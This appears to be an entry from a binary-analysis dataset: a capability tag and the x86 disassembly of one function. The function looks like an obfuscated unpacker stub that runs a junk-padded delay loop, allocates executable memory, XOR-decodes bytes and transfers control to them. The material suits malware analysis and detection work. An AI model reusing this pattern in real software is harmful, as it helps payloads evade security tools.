Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x335fbba8
sub edx, esi
or edx, edx
popal
and esi, esi
add esi, 0xdecbd6dc
sub edx, esi
mov ebx, 0
mov edi, eax
sub edx, esi
or edx, edx
mov ecx, edi
add edx, edx
mov edx, esi
mov eax, ecx
not edx
not esi
inc ebx
inc edx
add edx, esi
cmp ebx, 0x100c4b5
jne 0xa789c6
mov edx, 0xdf9db5ea
mov esi, 0xa4375ca5
mov esi, edx
mov edx, 0x76b206fd
mov ebx, 0xa78796
inc ecx
not edi
mov eax, 0xa7898a
mov ecx, 0x8aef9201
and edx, edx
mov esi, dword [ebx]
add edi, 0x947a31ad
not edx
inc edi
and esi, 0xff
sub ecx, 0x1088fd0c
mov edx, ecx
mov edx, ecx
xor dword [eax], esi
mov ecx, 0xeebc359c
sub edi, edx
mov edx, 0xf1354433
inc eax
add edi, 0xf2313d60
not edx
add edx, 0xd69051c8
add ebx, 1
and edx, ecx
mov ecx, edi
cmp eax, entry0
jl 0xa78a0d
add edi, edi
or edi, edi
mov ecx, edi
sub edi, 0xd436c008
mov esi, edx
add edx, edi
or edx, ecx
mov ebx, 0xa7898e
sub edx, 0xa2b39d54
not ecx
or edx, edx
mov ebx, dword [ebx]
or edi, esi
dec esi
mov ebx, dword [ebx]
add esi, ecx
and edi, edx
sub edi, 0x2a8ac839
sub esp, 4
mov dword [esp], ebx
mov edx, 0x4b67592c
sub esi, 0x64a00be9
or edi, esi
mov ebx, 0xa7898a
add edx, ecx
or ecx, edx
mov ebx, dword [ebx]
sub edi, edx
or ecx, esi
mov ebx, dword [ebx]
inc edi
add ecx, edi
push 0xa78992
add edi, 1
sub ecx, 0x2eea7386
call ebx
sub esi, edx
and edx, esi
mov ebx, dword [esp]
add esp, 4
or edi, ecx
and esi, ecx
push 0xa7899f
add esi, 0x2a656c72
mov esi, 0x4f17621
sub esp, 4
mov dword [esp], eax
mov edi, 0x82cfde1a
dec esi
and edi, esi
call ebx
sub edi, 0x93b16942
mov edx, 0xb13d884a
push 0x40
and edi, edi
not edx
push 0x3000
sub ecx, 0x53e45525
not edi
push 0x20000444
mov edi, ecx
sub ecx, edi
add ecx, 0x14116ea5
push 0
or edi, esi
add esi, 0xb87b57e5
call eax
dec edi
not edi
not ecx
add eax, 0x20000398
not ecx
or ecx, edx
mov ebx, 0x7a791997
and edx, ecx
not edi
add edx, 0x1db1fa2f
mov dword [eax], ebx
inc edi
and esi, edi
mov ebx, dword [eax]
mov ecx, edi
inc esi
cmp ebx, 0x7a791997
je 0xa78b6b
mov ecx, 0
mov ebx, dword [ecx]
mov edx, esi
mov edi, ecx
sub edi, ecx
mov edi, edx
inc ecx
dec edx
add esi, 1
mov ebx, section..reltc
not esi
mov esi, 0xbe3c23a7
mov eax, 0xa78795
sub esi, edx
dec esi
mov ecx, 0
add esi, esi
mov edx, 0x5bde2d67
dec esi
mov edi, 0xa78796
and esi, esi
add edx, esi
lea edi, [ecx + edi]
mov edx, esi
and esi, esi
add edx, 0xcac74e17
mov edi, dword [edi]
dec esi
inc edx
and edi, 0xff
add esi, edx
or edx, esi
mov edx, esi
add ecx, 1
add esi, edx
or esi, esi
add esi, edx
cmp ecx, 0x1f4
jne 0xa78bdb
mov ecx, 0
and edx, esi
and esi, esi
and esi, edx
not edx
mov esi, 0xb6f7b92c
sub esi, edx
xor dword [ebx], edi
mov edx, 0x75249e42
add edx, 0x9bef7f5e
add ebx, 2
add esi, 0x5ace722e
mov edx, 0x8808bca0
cmp ebx, eax
jl 0xa78b9c
or edx, edx
mov edx, esi
sub edx, esi
inc edx
add edx, edx
mov edx, esi
mov esi, section..reltc
inc ebx
inc eax
not eax
mov edx, section..reltc
or ebx, ebx
sub eax, ebx
mov edi, 0xa78795
sub ebx, eax
mov ebx, 0x7c7b0217
mov ecx, 0
or ebx, ebx
sub eax, ebx
sub eax, 0xd4628179
mov cl, byte [edx]
and eax, eax
add eax, eax
sub ebx, 0xd2062c5c
mov byte [esi], cl
sub eax, ebx
sub eax, 0xc00a9f86
mov ebx, eax
inc esi
dec ebx
not eax
add edx, 2
sub ebx, 0xcc310f77
mov eax, 0x64c85acc
cmp edx, edi
jle 0xa78c48
add eax, ebx
inc eax
and ebx, eax
or esi, edx
add edx, 0x317996ab
push 0x8dc6a0
and edx, esi
not edx
not edx
ret